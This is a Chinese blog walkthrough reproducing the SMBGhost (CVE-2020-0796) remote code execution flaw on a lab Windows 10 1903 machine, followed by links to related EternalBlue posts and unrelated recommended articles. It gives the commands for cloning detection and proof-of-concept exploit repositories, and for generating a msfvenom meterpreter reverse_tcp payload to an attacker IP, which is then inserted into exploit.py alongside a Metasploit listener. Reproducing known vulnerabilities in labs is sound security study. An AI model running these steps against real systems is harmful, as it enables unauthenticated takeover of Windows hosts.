0x00 漏洞概述

Microsoft Server Message Block 3.1.1(SMBv3)协议在处理某些请求的方式中存在代码执行漏洞。攻击者可以精心构造数据包发送到SMB服务器,无需经过身份验证,即可在目标服务器上执行任意代码。攻击者可通过部署一台恶意SMB v3服务器,并诱导用户(客户端)连接到该服务器,一旦目标用户连接,即可在计算机上执行攻击者自定义的恶意代码。由于上述漏洞与WannaCry(2017年5月“永恒之蓝”)漏洞较为相似,易被蠕虫利用传播恶意程序,可能会成为恶意软件和攻击者广泛利用的漏洞

0x01 影响范围

  • Windows 10 Version 1903 for 32-bit Systems

  • Windows 10 Version 1903 for ARM64-based Systems

  • Windows 10 Version 1903 for x64-based Systems

  • Windows 10 Version 1909 for 32-bit Systems

  • Windows 10 Version 1909 for ARM64-based Systems

  • Windows 10 Version 1909 for x64-based Systems

  • Windows Server, version 1903 (Server Core installation)

  • Windows Server, version 1909 (Server Core installation)

0x02 测试环境

靶机:cn_windows_10_consumer_editions_version_1903_x64 (关闭防火墙)

攻击机:kali 2020.1

(PS:如果步骤没错却不能攻击成功,可以重启Win10再尝试)

0x03 漏洞复现

3.1 漏洞检测

通过git 命令下载检测漏洞的python脚本

 git clone https://github.com/ollypwn/SMBGhost.git

利用脚本测试目标主机是否脆弱

3.2 漏洞利用

下载漏洞攻击的脚本

  git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git

exploit.py原文件不能直接用来攻击,需要修改其中的USER_PAYLOAD部分

利用msfvenom生成payload

 # lhost为kali的IP,lport为监听端口
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.104 lport= -b '\x00' -f python

为了防止操作失误,将exploit.py原文件文件进行备份

用vim打开exploit.py

将USER_PAYLOAD部分删除,替换为我们之前用msfvenom生成的payload

替换之后,在最后追加一行 USER_PAYLOAD = buf ,保存并退出

在另一个窗口打开MSF开启监听

执行exploit.p脚本对Win10进行攻击

再返回查看开启了MSF的窗口,已经成功连接

在Win10上查看端口,连接存在

CVE-2020-0796“永恒之黑”漏洞复现的更多相关文章

  1. 【研究】ms17-010永恒之蓝漏洞复现

    1       永恒之蓝漏洞复现(ms17-010) 1.1     漏洞描述: Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放44 ...

  2. EternalBlue永恒之蓝漏洞复现

    EternalBlue漏洞复现 1.    实训目的 永恒之蓝(EternalBlue)是由美国国家安全局开发的漏洞利用程序,对应微软漏洞编号ms17-010.该漏洞利用工具由一个名为”影子经济人”( ...

  3. Metasploitable3学习笔记--永恒之蓝漏洞复现

    漏洞描述: Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不 ...

  4. ms17-010 永恒之蓝漏洞复现(CVE-2017-0143)

    0x01 首先对目标机的开放端口进行探测,我们可以使用探测神器nmap 发现开放的445端口,然后进行下一步的ms17-010的漏洞验证 0x02 打开MSF美少妇神器,用search命令搜索ms17 ...

  5. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  6. [永恒之黑]CVE-2020-0796(漏洞复现)

    实验环境: 靶机:windows10 1903 专业版 攻击机:kali 2020.3 VMware:vmware14 实验工具: Python 3.8.5   msfconsole 实验PROC: ...

  7. CVE-2020-0796(永恒之黑)漏洞复现

    声明:仅供学习与参考,请勿用于非法用途(后果自负) 一.影响范围(需关闭 Win10 防火墙): Windows 10 Version 1903 for 32-bit Systems Windows ...

  8. 永恒之蓝MS17-010漏洞复现

    永恒之蓝MS17-010漏洞复现 1.漏洞描述: 起因: 永恒之蓝(Eternalblue)是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包 ...

  9. 永恒之蓝ms17_010漏洞复现

    1.什么是永恒之蓝 永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机. 2.SMB协议 SM ...

随机推荐

  1. jmeter压力测试报错:java.net.BindException: Address already in use: connect || java.net.SocketException: Socket closed

    windows提供给TCP/IP链接的端口为 1024-5000,并且要四分钟来循环回收它们,就导致我们在短时间内跑大量的请求时将端口占满了,导致如上报错. 解决办法(在jmeter所在服务器操作): ...

  2. ls -bash: ls: command not found

    ls -bash: ls: command not found原因:在设置环境变量时,编辑profile文件没有写正确,导致在命令行下 ls等命令不能够识别.解决方案: export PATH=/us ...

  3. laravel 缓存相关常用操作

    //----------设置缓存----------- //Cache::put($key,$val,$minutes); 如果$key已存在,则覆盖原有值 Cache::put('name', '张 ...

  4. 使用ATOMac进行Mac自动化测试

    ATOMac简介 atomac是一个支持在mac上做自动化的python库,GitHub地址如下: https://github.com/pyatom/pyatom 安装 # Python2 sudo ...

  5. 浅析protobuf应用

    Protocal Buffers(简称protobuf)是谷歌的一项技术,用于结构化的数据序列化.反序列化,常用于RPC 系统(Remote Procedure Call Protocol Syste ...

  6. 一切皆组件的Flutter,安能辨我是雄雌

    从一开始接触Flutter,相信读者都会铭记一句话,那就是--一切皆组件.今天我们就来体会一下这句话的神奇魔力,我们先从实际的产品需求说起. 我们先来看一个简化的运行图: 我们要实现如上图所示的日期选 ...

  7. 《闲扯Redis八》Redis字典的哈希表执行Rehash过程分析

    一.前言 随着操作的不断执行, 哈希表保存的键值对会逐渐地增多或者减少, 为了让哈希表的负载因子(load factor)维持在一个合理的范围之内, 当哈希表保存的键值对数量太多或者太少时, 程序需要 ...

  8. Day17_购物车

    学于黑马和传智播客联合做的教学项目 感谢 黑马官网 传智播客官网 微信搜索"艺术行者",关注并回复关键词"乐优商城"获取视频和教程资料! b站在线视频 注:实验 ...

  9. vue多个路由复用同一个组件的跳转问题(this.router.push)

    因为router-view传参问题无法解决,比较麻烦. 所以我采取的是@click+this.router.push来跳转 但是现在的问题是跳转后,url改变了,但是页面的数据没有重新渲染,要刷新才可 ...

  10. __slots__属性

    使用__slots__时,子类不受影响 class Person(object): __slots__ = ("name","age") def __str__ ...